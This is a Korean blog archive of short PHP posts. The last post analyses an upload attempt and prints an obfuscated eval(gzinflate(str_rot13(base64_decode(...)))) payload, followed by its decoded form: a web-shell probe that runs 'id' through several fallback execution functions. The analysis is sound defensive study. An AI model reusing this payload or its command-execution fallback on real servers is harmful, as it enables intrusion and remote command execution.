'programming/php'에 해당되는 글 5건

  1. 2010.08.04 PHP backticks shell command
  2. 2010.05.04 session_start()사용시 주의
  3. 2010.04.22 exec(함수
  4. 2010.03.08 safemode
  5. 2009.10.22 PHP 소스분석
http://gooja.tistory.com/55

PHP 에서 exec() 함수와 같은 기능을하는 backtiks 이 있다.
``Note that these are not single-quotes!
backtick(``) 를 이용해서 shell 명령어를 실행할 할 수 있다.

<예>
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

<pre></pre>는 실행결과를 자동으로 줄바꿈을 해서 보기 편리하다.

'programming > php' 카테고리의 다른 글

session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:

출처: http://kaiserinlee.thoth.kr/?mid=blog&document_srl=1335548


- session_start(); 전에 출력문이 있으면 안된다.

- 그래도 안된다면 세션변수가 저장되는 폴더 권한을 777로 주었는지 확인해보자.

- 그래도 안된다면 UTF-8(BOM없음) 형식으로 저장해보자.

- 그래도 안된다면 모든 파일을 이 형식으로 저장하자.

- 그래도 안된다면 php.ini 에서 default-charset utf-8 로 설정해보라.

  난 이것도 안해줘서 경고문이 떴었다 -_ㅠ

- 설정은 모두 통일하자 !

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:

exec(함수

programming/php 2010. 4. 22. 15:55 |

exec 에서 사용한 쉘 명령어의 동작이 끝날때까지 php 는 동작하지 않는다.

즉, exec 상태에서 멈춰 있다가 쉘 명령어의 동작이 끝난 후, php가 동작한다.

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
safemode  (0) 2010.03.08
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:

safemode

programming/php 2010. 3. 8. 11:18 |
PHP는 현재 스크립트의 소유자(owner)가 파일 함수에 의해 제어되는 파일의 소유자(owner)나 그 디렉토리와 일치하는지 검사한다.
http://php.net/manual/kr/ini.sect.safe-mode.php

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
PHP 소스분석  (0) 2009.10.22
Posted by applicationlayer
:

PHP 소스분석

programming/php 2009. 10. 22. 10:02 |

모 웹 사이트에 위의 코드를 업로드하려는 시도가 발견되었다.
$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQgTJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstnDKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvkeNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHkLUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+v2trypbkGMqK2mCgx9VeseA6q3AoKL8=";
eval(gzinflate(str_rot13(base64_decode($vopcrew))));
exit;

id라는 시스템명령을 실행하려는 소스이며 exec, system, passthru, popen등으로 시도한다는 걸 알 수 있다.
실행결과화면은 다음과 같다.


<?php
$os = @PHP_OS;
echo "v0pCr3w";
echo "os:$os";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe)
{
  $res = '';
  if (!empty($cfe))
  {
    if(function_exists('exec'))
    {
      @exec($cfe,$res);
      $res = join("\n",$res);
    }
    elseif(function_exists('shell_exec'))
    {
      $res = @shell_exec($cfe);
    }
    elseif(function_exists('system'))
    {
      @ob_start(); @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(function_exists('passthru'))
    {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    }
    elseif(@is_resource($f = @popen($cfe,"r")))
    {
      $res = "";
      while(!@feof($f))
      {
        $res .= @fread($f,1024);
      }
      @pclose($f);
    }
  }
  return $res;
}
?>

'programming > php' 카테고리의 다른 글

PHP backticks shell command  (0) 2010.08.04
session_start()사용시 주의  (0) 2010.05.04
exec(함수  (0) 2010.04.22
safemode  (0) 2010.03.08
Posted by applicationlayer
: